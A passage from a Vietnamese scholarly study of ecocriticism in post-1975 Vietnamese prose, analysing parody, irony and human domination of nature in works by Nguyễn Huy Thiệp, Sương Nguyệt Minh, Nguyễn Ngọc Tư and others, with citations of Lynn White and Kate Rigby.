khi viết về tự nhiên, văn học sinh thái cũng có những tác phẩm có giọng trữ tình
sâu lắng mô tả vẻ đẹp của thiên nhiên mĩ lệ (truyện ngắn Nguyễn Quang Thiều,
Dương Duy Ngữ…), hoài cảm về những thiên đường tự nhiên đầy trầm tích văn
hóa (Tuổi thơ im lặng, Duy Khán), hay cái giọng trong trẻo trinh nguyên, tươi tắn lạ
thường của Nguyễn Ngọc Thuần (Vừa nhắm mắt vừa mở cửa sổ).
Tuy nhiên, cùng với cảm hứng phê phán giọng hoài nghi trở thành chủ đạo
với những hợp âm của giễu nhại, cật vấn, trào lộng, mỉa mai. Nguyễn Huy Thiệp
được coi là tác giả tiêu biểu. Ông hoài nghi giáo dục, phỉ báng văn minh “Dạy cho trẻ
con toàn thứ láo khoét” (lời ông giáo Hội, Chăn trâu cắt cỏ), “học vấn có điều nguy
hiểm là khiến người ta có ảo tưởng thay đổi bản thân và hoàn cảnh là điều vốn dĩ
không bao giờ làm được” (lời thầy giáo Doanh, Những người muôn năm cũ)… vì đó
là những điều khiến cho con người trở nên hám lợi, nguồn gốc của tham vọng,
quyền lực, dối trá, hư hỏng. Và như vậy, nó cũng khiến cho con người rời xa bản tính
tự nhiên tốt đẹp. Thương nhớ đồng quê, Chăn trâu cắt cỏ, Sống dễ lắm, Những
người muôn năm cũ… của Nguyễn Huy Thiệp đi ra ngoài diễn ngôn lãng mạn, từ bỏ
cái nhìn thẩm mĩ hóa cái thôn dã. Nông thôn đã vĩnh viễn mất đi cái bình an, nhân
vật chia tay cái thanh thản của những ảo tưởng truyền thống, đối diện với đói
nghèo, vất vả, bất an, buồn chán… thường trực. Thiềm, một giáo viên tự nguyện lên
miền núi dạy học nhìn cảnh vật đúng như trong văn chương điền viên mô tả “Khi
chiều về, tiếng mõ trâu lốc cốc khua vang ở dưới chân núi xa xôi, lẫn lộn với khói lam
chiều” nhưng trước khung cảnh ấy, anh chỉ cảm thấy “cuộc sống ở xóm núi trôi đi
đơn điệu, buồn tẻ” (Những người muôn năm cũ); Ông Trụ, một cán bộ giữ trạm
thủy văn nhìn sương phủ trên sông Đà bằng cách giễu về những hình ảnh đã thành
cổ điển của thơ sơn thủy: “Làn sương khói lảng vảng lướt trên mặt sông chờn vờn
như ma quỷ nhập làm hoa cả mắt. Đây là thứ sương khói mà trong thơ Đường Bạch
Cư Dị gọi là “yên ba sầu sát nhân” (Như sương như khói bay). Ngay cả cách đặt tên
truyện: “giả sơn thủy” (Như sương như khói bay), “giả mục đồng” (Chăn trâu cắt cỏ),
“nhại lãng mạn” (Những người muôn năm cũ), Nguyễn Huy Thiệp phản biện lại thói
quen về một không gian thôn dã mĩ lệ, thanh thản để nhận chân về một thực tại tẻ
nhạt, nỗi cô độc không nơi nương náu của tâm thức hiện đại. Tiếp nối cách giễu nhại
64
của Nguyễn Huy Thiệp, có thể kể đến Đoàn Lê. Chốn sơn khê đâu còn là nơi ở ẩn,
chỗ lánh đời “dùng bếp dầu, bếp than tổ ong để cướp thời gian, hỏi bói đâu ra làn
khói thơ mộng bảng lảng vương vít trên mái rạ? Và lũ trẻ trâu chọi ở đây nghịch hơn
lũ giặc… dẫu cho ăn kẹo cũng đố thổi được sáo. Đòi khê với chả cháy cơ!”. Những sự
thật trần trụi của xóm Chùa (Trinh tiết xóm Chùa, A tourism xóm Chùa…) được viết
bằng một giọng mỉa mai, giễu cợt và chua chát. Giễu nhại do vậy là tiếng cười đầy xa
xót để chia tay những ảo tưởng về đời sống của lối viết thôn dã.
Đi qua đồng chiều (Sương Nguyệt Minh) giễu nhại lại hành trình trở về nông
thôn trong văn học truyền thống. Thăng là một chàng thanh niên Việt Kiều từ Úc về
quê thăm người bác họ. Nhưng không như kì vọng của bố, về quê để nhận ra gốc
gác, để học những bài học thôn quê, hành trình của Thăng không hề làm nhân vật
chính thay đổi mà chỉ làm sâu sắc hơn vênh lệch giữa nông thôn và thành thị. Câu
nói cửa miệng của Thăng “Người nhà quê hay nhỉ ?” trước cảnh vật, sinh hoạt nơi
thôn dã là cái nhìn của kẻ khác, đứng từ vị thế của người bên ngoài, cái nhìn mà bố
Na coi là “thói kênh kiệu”. Cái cách Thăng chê bai việc ăn uống ở nông thôn (“Tối
hôm qua mút ốc ao. Kinh quá… Cứ như thời ăn lông ở lỗ ! Không ăn nổi, đành thôi.
Thổ dân Úc thời nguyên thủy cũng chỉ ăn đến thế là cùng. Kinh bỏ cha”), cách gặt
lúa (“Cắt lúa mà như cò cưa, cò cưa”), bửa củi (“Phịch… phịch… vài cái thì văng
búa. Lại lấy bổ tiếp : Phịch… phịch. Mệt quá bỏ búa, cầm xà beng. Cuối cùng bỏ
nốt”)… chỉ khoét sâu thêm khoảng cách của “người xa lạ”, đến nỗi bác Hán thốt lên
“Thằng này mất gốc rồi”. Vẻ đẹp thôn dã của cô gái nông thôn được miêu tả cũng
tước khỏi cái nhìn lãng mạn, chỉ còn là một sự mỉa mai: “Bạn chị xinh nhỉ. Người eo
tuyệt vời. Con gái nhà quê, eo đẹp thế là sự lạ. Cái mũi dọc dừa. Mắt như mắt nai.
Xinh lắm ! Nhưng mà tù hãm, đôi mắt đang báo hiệu một sự tù đọng” Cái Hương
hỏi : “Thăng nhìn thấy mắt nai ở đâu, đi săn thấy ở rừng à ?” “Không. Em thấy ở
trong vườn bách thú.” “Thế ra Thăng bảo bạn chị như con nai đẹp bị nhốt trong
vườn bách thú, hở ?” ; thậm chí, mái tóc gội đầu thơm hương bưởi được ca ngợi
trong văn thơ lãng mạn cũng chỉ được cảm nhận bằng một thái độ thờ ơ, hiếu kì.
Vậy nên, hành trình của Thăng không phải là một hành trình lí tưởng trở về thôn
dã để trưởng thành mà hành trình của một kẻ thành phố kênh kiệu, hời hợt về
nông thôn với những định kiến về một vùng nông thôn dã man, tăm tối và thất học
mông muội lạc hậu cần khai hóa “Thời đại này là thời đại bằng cấp. Chỉ có học và
học, học mới thoát khỏi đồng ruộng, con trâu cái cày. Cô gì không học, rất gay…”.
65
Như vậy, giọng giễu nhại khiến văn học có khả năng du nhập vào nó nhiều
hình thức ngôn ngữ, nhại cả phong cách của một giai đoại văn học, nhại thể loại.
Sông (Nguyễn Ngọc Tư) là hành trình nhại tiểu thuyết phiêu lưu. Cuốn tiểu thuyết
bắt đầu bằng hành trình du khảo trên sông Di. Ân cùng với hai người bạn săn tìm
vẻ đẹp trên hành trình khám phá dọc sông. Nhưng hầu như, không một trang nào
viết về sự trù phú hai bên sông. Không một trang nào viết về cảm hứng chinh phục
tự nhiên. Cũng không có vẻ đẹp tráng lệ, thơ mộng. Trải nghiệm của cuộc đi là trải
nghiệm của sự tàn lụi, cỗi cằn. Hành trình du khảo trên sông Di là hành trình với
những người bé mọn, đau khổ, vất vả mưu sinh trên những khúc đoạn sông Di
“Báo chí đếm được có đến chục cái không ở những cái làng giăng giăng gần bờ này.
Không đất. Không tiền. Không chữ. Không biết đi về đâu. Không biết chôn ở đâu.
Không thịt. Không luật pháp…”. Đầy rẫy những huyền thoại đã được giải thiêng:
lịch sử được ghi chép trong Di lưu kí, ốc Đồng Nàng, bia ghi công trạng… Sông với
những hoài nghi về du lịch sinh thái: Băng Khâu – vùng núi hoang dã bị nhà nghỉ,
biển báo biến thành thương tích; Hồ Thiêng trở thành đống rác, Lệ Kiều – đẹp một
cách phẳng phiu, che đậy đằng sau nó là số phận nhọc nhằn của người dân bản
địa, nằm trong chuỗi những tác phẩm nhại lại cái nhìn thẩm mĩ hóa tự nhiên trong
Sầu trên đỉnh Puvan, Thổ Sầu, Khói trời lộng lẫy…
Văn học giai đoạn 1945 – 1975 khi viết về mối quan hệ với tự nhiên, thường
mang giọng sử thi, giọng của người coi tự nhiên là bầu bạn, là vũ khí trong cùng
mục đích chiến đấu giành độc lập (Rừng che bộ đội, rừng vây quân thù; Đến ong
dại cũng luyện thành chiến sĩ, Và hoa trái cũng biến thành vũ khí; Em đi lên rừng
cây xanh mở lối, em đi xuống suối suối ngả cúi đầu). Thiên nhiên không có tiếng
nói riêng biệt. Do vậy, tất nhiên không có đối thoại, chỉ có tiếng nói của con người.
Giọng điệu giễu nhại (parody) với đặc trưng hình thức tổng hợp của cả hai tính
chất tự phản tỉnh và liên văn bản trở thành đặc trưng nổi bật của văn xuôi sinh
thái sau năm 1975. Giễu nhại là cách để gây ra hiệu ứng ngược, nó mang hai nghĩa,
hai nghĩa đó đối chọi nhau, tranh cãi nhau, điều đó, giúp thoát khỏi cái độc thoại
của sử thi, đạt đến tính đối thoại đầy tinh thần hiện đại. Mặt khác, văn xuôi sinh
thái lắng nghe tiếng nói tự nhiên câm nín, trầm lặng bên cạnh con người. Những
tác phẩm viết về cái tự tồn của tự nhiên (Một lần đối chứng – Nguyễn Minh Châu,
Chó Bi, đời lưu lạc – Ma Văn Kháng, Biển người mênh mông, Cái nhìn khắc khoải –
Nguyễn Ngọc Tư…); motif người hiểu tiếng loài vật (Người nói tiếng chim bồ câu –
66
Mạc Can, Cánh đồng bất tận, Núi lở, Gió lẻ – Nguyễn Ngọc Tư…) là giọng đầy tranh
biện với quan niệm con người là chủ thể của thế giới. Vậy nên đối thoại trở nên
mạnh mẽ. Giọng điệu, do vậy trở nên đa âm, đa thanh.
Giễu nhại khiến người đọc nhận ra cái “bất ổn” ở đáy sâu của hiện thực đời
sống. Thực chất, giễu nhại thể hiện một thái độ hoài nghi sâu sắc, tác giả nhận ra
cần phải kiến lập một điều gì khác với cái đổ vỡ của mối quan hệ trong hiện tại
nhưng có lẽ chưa thấy nên tấn công vào cái tồn tại hiện hữu bằng thái độ phỏng
nhại, mỉa mai những giá trị cũ. Niềm khắc khoải của Nguyễn Huy Thiệp, Nguyễn
Ngọc Tư, Sương Nguyệt Minh, Đoàn Lê… là cách phản ứng lại với thực tại cay đắng,
u ám khi cuộc sống kĩ trị đang xâm chiếm và ngự trị. Chính áp lực của xã hội thị
trường, cộng hưởng với dư âm chiến tranh đã khiến con người đang cảm thấy bất
an, mất mát và hoài nghi.
Chúng tôi khái quát sự so sánh ấy trong bảng đối chiếu sau:
67
Mối quan hệ giữa con người và tự nhiên
Tiêu chí Văn xuôi trước năm 1975
Văn xuôi sinh thái sau năm
1975
Điểm nhìn Con người là trung tâm Sinh thái là trung tâm
Quan niệm về tự
nhiên
+Tự nhiên và con người có
cùng tiếng nói
+Thiên nhiên là nền cảnh
+Tự nhiên là sinh mệnh độc
lập, tồn tại ngoài ý thức con
người, có khả năng phản biện
lại thế giới người
Motif cốt truyện
Cốt truyện về sự chinh phục,
khai thác
Đa cốt truyện: Cốt truyện
khai thác, cốt truyện đi săn,
cốt truyện tự nhiên trả thù,
cốt truyện về sự cỗi cằn, cốt
truyện về sự trú ẩn…
Nhân vật
Người anh hùng chinh phục
tự nhiên
+Kẻ hủy diệt
+Nạn nhân
+Kẻ chiến bại
+Mẫu hình nhân cách mới
Cảm hứng chủ đạo Cảm hứng ngợi ca Cảm hứng phê phán
Giọng điệu
+Nhất quán, giọng sử thi,
giọng của kẻ đứng cao hơn
tự nhiên
+Có tính chất ngợi ca, hào
hùng
+Không có đối thoại, chỉ có
tiếng nói của con người
+Giọng đa âm, đa thanh
+Tính đối thoại trở nên mạnh
mẽ
+Giễu nhại, cật vấn, hoài nghi
+Trào lộng, mỉa mai
***
So với các nước, Việt Nam chưa thực sự có một dòng văn học sinh thái rõ rệt.
Văn xuôi sinh thái Việt Nam khá tản mác, rời rạc, lại chưa có những tác phẩm mang
đậm cảm quan sinh thái như các tác phẩm của văn học thế giới: Hoài niệm sói của
Giả Bình Ao, Tôtem sói của Khương Nhung, tản văn Tôi yêu động vật nhỏ của Băng
Tâm… ở Trung Quốc, hay khắc khoải Một nỗi đau riêng của nhà văn Nhật Bản Oe
Kenzaburo, hoặc ám ảnh như Nam tước trên cây của Italo Calvino. Hơn nữa, văn học
68
sinh thái sau năm 1975 còn chưa có tuyên ngôn nghệ thuật của các nhà văn về vấn
đề môi trường. Văn học Việt Nam vẫn loay hoay với luân lí đạo đức giữa người với
người, ít có truyền thống luân lí đạo đức giữa con người và tự nhiên. Có phải vậy
chăng mà cả nhà văn và người phê bình “phản ứng chậm” với các trào lưu sinh thái?
Tuy nhiên, chúng ta vẫn nhận thấy, trong văn học Việt Nam sau năm 1975, đã
xuất hiện một khuynh hướng văn xuôi sinh thái, tuy không ào ạt, mạnh mẽ ngay từ
đầu nhưng ngày càng đang lớn dần, quy tụ được nhiều cây bút. Những { tưởng sinh
thái của các tác giả Nguyễn Minh Châu, Nguyễn Huy Thiệp, Trần Duy Phiên, Nguyễn
Quang Thiều, Nguyễn Khắc Phê, Đoàn Lê, Nguyễn Ngọc Tư, Sương Nguyệt Minh,
Thiên Sơn, Đỗ Minh Tuấn, Bùi Ngọc Tấn, Nguyễn Xuân Thủy… đã rung lên những hồi
chuông về sự khủng hoảng môi trường, những nỗi đau, niềm tuyệt vọng trước cái
mong manh của sự cân bằng tạo hóa và cắt nghĩa căn nguyên của những thảm họa
sinh thái, những bất an của tồn tại trong một xã hội bị đầu độc bởi những giá trị vật
chất, ngột ngạt bởi văn minh kĩ trị. Văn học sinh thái hé mở cho chúng ta thấy một
hiện thực bị bỏ quên, đồng thời, nhận thức lại những tư duy cũ mòn về mối quan hệ
giữa con người và tự nhiên, từ bỏ cái nhìn ngạo nghễ với tự nhiên, để có một thức
nhận khác về tự nhiên, về chính mình, không thừa nhận một giá trị vĩnh viễn “con
người là trung tâm”.
69
Chương 3
CẢM HỨNG PHÊ PHÁN TỪ ĐIỂM NHÌN PHÊ BÌNH SINH THÁI
Con người thời hiện đại đang đối mặt với nguy cơ sinh thái nghiêm trọng
nhất từ xưa đến nay. Để giải quyết được vấn đề của khủng hoảng môi trường, các
nhà sinh thái đi tìm nguồn gốc của câu trả lời: Điều gì khiến cho trái đất ngày càng
trở nên kiệt quệ?
Câu trả lời đó không thể nằm ở khoa học kĩ thuật. Bởi vì khi khoa học giải quyết
được vấn đề này thì lại nảy sinh vấn đề khác, chưa kể nhiều nhà phê bình sinh thái cho
rằng chính khoa học và công nghệ là “căn nguyên sâu xa của khủng hoảng sinh thái”.
Điều đó được Lynn White (1907 – 1987) chỉ ra trong tiểu luận Nguồn gốc lịch sử của
khủng hoảng sinh thái (The Historical Roots of Our Ecological Crisis) “Khoa học kĩ thuật
có nhiều hơn nữa cũng không có cách nào để giải quyết nguy cơ sinh thái hiện tại”1
.
Các học giả sinh thái cho rằng vấn đề khủng hoảng môi trường mà chúng ta đang đối
mặt là vấn đề văn hóa chứ không phải là vấn đề kĩ thuật. Nó liên quan đến các vấn đề
như giá trị, mối quan hệ giữa con người và thiên nhiên, con người đối xử với vạn vật
như thế nào… “Phê bình sinh thái, từ đó, tưởng nhớ Trái đất thông qua sự phơi bày
trước con người khoản nợ của văn hóa đối với tự nhiên”2
, “Đối với nhà phê bình sinh
thái, tự nhiên thực sự tồn tại, bên ngoài chúng ta, hiện diện như một thực thể có ảnh
hưởng tới chúng ta và chúng ta có thể ảnh hưởng lại tới nó, có thể tiêu diệt nó – nếu
chúng ta đối đãi sai lầm với nó”3
.
Nguyên nhân khủng hoảng được Kate Rigby “khái quát ra trên ba con đường

1White L. (1996), “The Historical Roots of Our Ecologic Crisis”, The Ecocriticism Reader: Landmarks in
Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of Georgia Press, 3 – 15, p 6
2Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
3Barry P. (2002), “Ecocriticism”, Beginning Theory: An Introduction to Literary and Cultural Theory,
Manchester University press, 248 – 279, p 251
70
chính”. Thứ nhất, “không phải chỉ một mình phương Tây chịu trách nhiệm trước tội lỗi
sinh thái. Rất nhiều nền văn minh cũng như các xã hội khác cũng đã thất bại trong việc
đảm bảo một cuộc sống bền vững trong quá khứ”. Thứ hai “{ nghĩa quan trọng của
phê bình sinh thái là đã đặt ra được những câu hỏi tra vấn, đi ngược lại với thói quen
tán thành và sự ngạo mạn trong việc tự tôn vinh của con người”. Thứ ba, truy tìm
nguyên nhân của việc “cái gì đã quy định những thực hành diễn ngôn cũng như những
truyền thống văn hóa”, Kate Rigby nhận thấy “sự ảnh hưởng của những cấu trúc kinh
tế – chính trị – xã hội lên quá trình duy trì – chuyển đổi – và chuyển vị của những quan
niệm về tự nhiên đã được chuyển tải vào trong những văn bản văn hóa”1
. “Kiểu phê
bình này tiếp tục giữ một vị trí quan trọng khi nó tra vấn lại những chuẩn mực văn học
từ điểm nhìn phê bình sinh thái” khi mà Karen Thornber phân tích các văn bản
Phương Đông cho thấy một sự mơ hồ của diễn ngôn sinh thái (ecoambiguity).
1. Ý THỨC VỀ CON NGƯỜI “TỘI ĐỒ” TRONG MỐI QUAN HỆ VỚI TỰ NHIÊN
1.1 Thống trị tự nhiên
Theo phân tích của các nhà sinh thái, căn nguyên của những suy thoái môi
trường mà chúng ta đang gặp phải ngày nay là do chúng ta sống cách biệt với tự
nhiên, giữ khư khư địa vị làm chủ. Coupe Laurence chỉ ra “Nhưng quá thường xuyên
với những sinh vật đó, thái độ của chúng ta là phân biệt hoàn toàn, chúng ta tách
mình ra khỏi những gì mà chúng ta không thuộc về; và do đó lại xưng tụng chính mình
về việc đã đạt đến một cách sống làm hủy hoại nguồn lực thiên nhiên trong suốt
nhiều thập kỉ”
2
. Lynn White chỉ ra nền tảng quan điểm của Kitô giáo là mối quan hệ
nhị nguyên giữa con người và thiên nhiên là “chủ”, “thuộc”. Vì thế, đã vạch ra một
khoảng cách trong mối quan hệ chủ bộc giữa con người và vạn vật, kích thích bản
năng mang tính bóc lột, tính phá hoại lớn nhất của nhân loại. Trong Sáng Thế kí của
Kinh Thánh, Đức Kitô cho rằng chỉ có con người được căn cứ vào hình tượng của
Thượng đế mà tạo ra con người, là muốn con người sử dụng, thống trị quyền lợi của
vạn vật trên mặt đất, thượng đế ban cho con người quyền tuyệt đối chi phối và khống
chế sinh vật và sự vật khác trong thế giới tự nhiên. “Kitô giáo không chỉ thiết lập mối
quan hệ nhị nguyên phân cách nhân loại với tự nhiên, mà còn nhấn mạnh rằng chính

1
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
2
Coupe Laurence (2013), Green Theory, The Routlege Companion to Critical and Cultural Theory, Edited
by Simon Malpas and Paul Wake, Routledge, p160
71
vì ý chí của Chúa Trời mà con người khai thác tự nhiên để phục vụ lợi ích của chính
mình. Dưới sự chi phối của quan niệm này, việc chinh phục giới tự nhiên, cướp đoạt
giới tự nhiên trở thành vấn đề hiển nhiên”1
. Điều này cũng được Joseph Meker chỉ ra
một cách rõ ràng trong Hài kịch sinh tồn (The Comerdy of Survival) rằng chính tư
tưởng “Nhân loại là trung tâm” tồn tại thâm căn cố đế trong tư tưởng là cội rễ của
khủng hoảng. Việc coi văn hóa ở thế ưu trội là thảm họa sinh thái mà ngày nay con
người phải đối mặt. Ông tấn công vào bi kịch cổ điển, văn học đồng quê vì ở đó ông
thấy rõ những xưng tụng về con người rõ rệt. Con người “giữ khư khư địa vị thống trị
của mình” rồi mặc sức khai thác tự nhiên như thể chỉ có mỗi con người là được phép
tồn tại trên trái đất. Điều này được thể hiện qua hàng loại chủ đề: săn giết, đào phá,
đối xử với vật nuôi…
Thống trị tự nhiên biểu hiện ở tham vọng làm chủ. Đòi tự nhiên phục tùng,
tham vọng của người cha – chủ gia đình trong Trăm năm còn lại (Trần Duy Phiên)
thật ghê sợ. Ông vốn là một tử tù vượt ngục, sống hoang dã, bản năng lao theo
một giấc mơ ngông cuồng và ngạo ngược. Ông bắt con sông Dakbla phải phục tùng
mình, nhiều lần dọa “Tao sẽ lấp”, “Tao móc trong bụng nó ra”, “Tao sẽ lấp, tháo
khô xác nó”, “Tao vét sạch lòng nó cho tới hạt vàng cuối cùng”. Đó chính là đầu
mối của những tai họa.
Những huyền thoại ẩn dấu sau những tác dụng về tự nhiên khiến cho tự
nhiên bị tàn phá. Những huyền thoại về các món ăn khiến cho những động vật
hoang dã bị tiêu diệt. Những con chim sẻ bị bắt vì “ưu điểm duy nhất của chúng là
khi chúng lên đĩa, lúc ấy chúng có tác dụng bổ thận tráng dương” (Bà cụ Cần và
đàn chim sẻ, Ma Văn Kháng). Sâm cầm Hồ Tây không còn vì thịt chúng ngon, vì đôi
chân đại bổ (Sâm cầm Hồ Tây, Sương Nguyệt Minh), ốc Bụt huyền thoại ở Đồng
Nàng bị bắt đến cạn kiệt (Sông, Nguyễn Ngọc Tư), những món ăn như “óc khỉ
trường sinh”, “món mèo tam thể chửa” (Nơi hoang dã đồng vọng, Sương Nguyệt
Minh; Lão Sìn và con khỉ, Đào Hiếu…), món ná hàm (Chuyển nghề, Nguyễn Trí)…
cho thấy sự tàn bạo và độc đoán của con người trong việc cư xử với tự nhiên. Sự
vô tâm ấy, đôi khi lại khoác một chiếc áo mĩ miều của “tình yêu thiên nhiên”.
Chim phóng sinh là một hình thức như vậy. Ban đầu, có lẽ phóng sinh là thể hiện
đức hiếu sinh nhưng ngày nay, đó là một hành động “đạo đức giả” vì “mỗi ngày có

1White L. (1996), “The Historical Roots of Our Ecologic Crisis”, The Ecocriticism Reader: Landmarks in
Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of Georgia Press, p 3 – 15, p 9
72
hàng ngàn chim sậy bẫy đem bán phóng sinh hoặc vào các quán nhậu. Chim sập
bẫy mươi phần hết bảy còn ba (…) Chúng được đem ra chùa bán cho những người
phóng sinh, chim chóc nào còn khỏe mạnh thì lại bay về tìm thức ăn ở các bẫy
quen thuộc. Cứ như thế, cái vòng lẩn quẩn luân hồi mười phần hết bảy còn ba, hết
hai còn một… cứ diễn ra bất tận” (Chim phóng sinh, Nguyễn Hồ).
Mặt khác, khi làm chủ tự nhiên, đôi lúc con người hành xử thiếu trách
nhiệm. Tự nhiên bị bóc lột bởi rất nhiều cách thức, cả chính thống lẫn phi chính
thống. Thiếu trách nhiệm với tự nhiên trước hết thể hiện qua những cách thức
chiếm đoạt tự nhiên thiếu minh bạch của những người thực hiện chính sách.
Rừng trồng cũng bị rút ruột bằng nhiều cách thức. Rừng “cao su là vàng trắng” nên
mủ cao su bị khai thác trộm, cây cao su bị lợi dụng chặt hết rễ, đốn cả cây, trong
khi đó, để có được một cánh rừng cao su người ta đã phải hi sinh một cánh rừng
khác trước đó (Màu của bóng tối, Nguyễn Trí). Chưa kể, sẵn khai thác các sản
phẩm rừng được phép, người ta khai thác gỗ lậu rồi ngụy trang bằng những sản
phẩm được phép khai thác: “Cai nào cũng tranh thủ kiếm thêm tí tí từ lộc rừng. Họ
triệu tập thợ cưa, vào hạ những cây quý mà trong quá trình đạp rừng đã phát hiện,
những cẩm lai, gõ đỏ mồ côi lạc loài dưới đáy U Linh Cốc” (Tiền rừng, Nguyễn Trí),
“Những cẩm lai, gõ đỏ, huznh đường… và cả chục loại gỗ quý khác chất dưới thùng
xe, đóng cửa thùng rồi cho củi lên trên” (Chuyện cũ từ rừng, Nguyễn Trí). Cây lát da
– một “cây cột chống trời”, được ông Ngạc, một người gác rừng mẫn cán với công
việc canh giữ suốt bao nhiêu năm trời bị đốn hạ khi ông đã già, không còn đủ sức
giương cây cung lên bắn lâm tặc được nữa (Thung Mơ, Hà Nguyên Quyến).
Sự đối xử thiếu minh bạch với tự nhiên cũng là căn nguyên của những thói
tệ quan liêu, nhũng nhiễu, sa đọa, trộm cắp. Trong hai tập truyện ngắn Bãi vàng,
đá qu{, trầm hương và Đồ tể, Nguyễn Trí đã phơi bày cho người đọc một thế giới
ngầm của rừng: Để được khai thác gỗ lậu phải ăn chia với kẻ có chức có quyền, đi
trộm mủ cao su bị bắt phải biết đút lót cho bảo vệ… Gỗ lậu nằm dưới củi khi đã
đưa ra ngoài rồi thì “Chung chi được chia làm ba phần. Một phần cho “thầy”. một
phần cho lính gác, phần còn lại của Đỏ và Khánh” (Chuyện cũ từ rừng, Nguyễn Trí).
Đi mót trộm mủ cao su, chặt cây cao su muốn trót lọt thì phải “miễn sao biết điều
với mấy anh bảo vệ… Cũng xin thưa rằng nơi tôn nghiêm mà còn có tiêu cực nói chi
trong bóng tối lô… Em gái thì không nhiều, mươi kí mủ mà anh tịch thu thì đêm của
em coi như bỏ. Vậy làm sao em đưa về được thì chỉ có bóng tối mới biết” (Màu của
73
bóng tối, Nguyễn Trí). Biển và chim bói cá (Bùi Ngọc Tấn) viết về một xí nghiệp
đánh cá mà con người ta bằng rất nhiều mánh khóe đã tư lợi về cho mình. Những
người đánh cá trên biển thì tìm cách bán bớt cá cho các thuyền buôn, khi cá về bờ
thì đủ các loại mánh lới để lấy cá, thậm chí văn phòng còn lập một “hội xin đểu”.
Đổi cá, như là cách “bôi trơn”, nếu không thì công việc sẽ ách tắc. Như vậy thiên
nhiên đã bị đánh cắp bằng những mánh khóe thiếu minh bạch.
Thập giá giữa rừng sâu của Nguyễn Khắc Phê là một cuốn tiểu thuyết viết về
việc móc ngoặc của những người làm chức năng bảo vệ rừng cấu kết với lâm tặc để
tàn phá rừng. Cuộc chiến đấu dai dẳng chống lâm tặc đáng buồn hơn, phần nhiều
lại là những cán bộ có chức trách bảo vệ rừng: “Đức đã mấy lần vồ hụt. Như là có
nội ứng mật báo, hễ anh kéo quân đến nơi là hiện trường trống trơn!”. Những
chuyến kiểm tra của anh hầu như bị phát hiện. Nhiều lần như vậy, anh quyết định
chiến đấu một mình nhưng đó là cuộc chiến không cân sức. Anh bị lâm tặc bắt trói
nhốt bỏ đói trong rừng.
Đối xử với vật nuôi cũng thể hiện tư tưởng thống trị của con người. Đôi khi,
thấy một người chiều chuộng một con vật nào đó đừng vội kết luận là thể hiện tình
yêu loài vật. Bởi thực ra, đằng sau mối quan hệ đó còn che dấu nhiều diễn ngôn mơ
hồ về tình cảm của con người. Truyện ngắn Xích chó của Phạm Ngọc Tiến kể về người
hàng xóm yêu chó, thậm chí đã tuyên ngôn một cách hùng hồn “kẻ nào không yêu súc
vật, kẻ đó chẳng yêu nổi con người”, phản đối cách giam cầm loài vật “xích buộc nom
tội nghiệp và tàn nhẫn” thế nhưng trong lúc tức giận con trai, ông đã trút giận lên con
phốc “Ông hàng xóm phập một nhát sắc ngọt đứt đôi con phốc”.
Cư xử đối với loài vật lộ ra một tính cách đạo đức giả của nhân vật. Có sự
vênh lệch rất lớn giữa tình yêu động vật và lời nói về tình yêu động vật. Đôi khi, sự
chăm sóc loài vật chỉ thể hiện thói trưởng giả, một tình yêu giả tạo chứ không phải
tình cảm chân thật với muôn loài. Cô con dâu thành phố trong truyện ngắn Những
vùng trời của họ (Sương Nguyệt Minh), yêu quý con Lông Xù một cách đặc biệt “hai
ngày tắm nước ấm một lần, chà xà bông thơm, xức nước hoa con gái Pháp, đeo vòng
bạc. Cô chủ trẻ yêu qu{ Lông Xù đêm nào cũng quắp ngủ chung trên giường. Âu yếm,
cưng nựng… Con Ô sin ngày trước chưa bị thôi việc còn phải lau mõm, lấy thức ăn
thừa dắt trong kẽ răng Lông Xù, một công việc chưa hề thấy trong giới giúp việc”. Tình
yêu loài vật do vậy hàm chứa trong đó cái nhìn “nhân loại trung tâm”, thực ra, không
phải cô yêu mến con Xù, mà cách nhân vật gần gũi nó, bắt ô sin chăm sóc con chó như
74
là con người đã ánh chiếu cái nhìn đầy tính nhân loại (human) lên tự nhiên. Thái độ
ấy của cô con dâu thể hiện thói trưởng giả và sự ích kỉ của cô. Trả tiền cho kẻ khác
chăm sóc con vật để con vật phục vụ cho sở thích bầu bạn của mình. Đó không phải là
tình yêu loài vật thật sự. Nên khi con Cẩu Già xuất hiện, tình yêu loài vật một cách giả
dối bị bóc trần. Con Cẩu Già là con chó sống ở nông thôn, nơi người nhà quê vẫn giữ
thói quen vừa ăn vừa ném thức ăn cho chó. Sợ bẩn nhà, cô con dâu “cứ đến bữa ăn,
chị bắt con ô sin lôi Cẩu Già ra thềm hè, đóng cửa không cho vào”. Con Lông Xù thì
được ăn uống đầy đủ, con Cẩu Già bị bỏ đói, khi nó ăn tranh phần Lông Xù, liền bị đối
xử tàn tệ “túm gáy, gí mõm con Cẩu Già vào miếng bánh mì… đến nỗi mõm con Cẩu
nhoe nhoét bơ sữa, răng nó chà xuống nền xi măng…”. Trong một đêm trăng đẹp, con
chó “sủa trăng”, nhưng liền bị cả cô con dâu và cộng đồng “người thành phố” phản
ứng. Con người đã sống quá xa lạ với tự nhiên, chỉ có loài vật còn giữ được niềm giao
cảm với thế giới xung quanh, nhận ra vẻ đẹp của tạo hóa, còn loài người lãng quên –
“thành phố im lìm chìm sâu vào giấc ngủ sau một ngày lam lũ”. Sự bất công với Cẩu
Già càng củng cố hơn qua chi tiết con chó bắt chuột. Cuối cùng, khi con Cẩu Già bị đưa
ra làm vật thí mạng cho cái bình gốm từ đời nhà Thanh bị vỡ, kết cục của nó đã được
định đoạt. Cô con dâu đã bỏ thuốc độc vào thức ăn của Cẩu Già, nhưng con vật nhớ
lại trận đòn hôm trước không ăn, chẳng may Lông Xù ăn phải. Trước cái chết tức tưởi
của đồng loại, con vật đã bỏ đi. Quả là, “cách nhìn tự nhiên bao giờ cũng có { thức
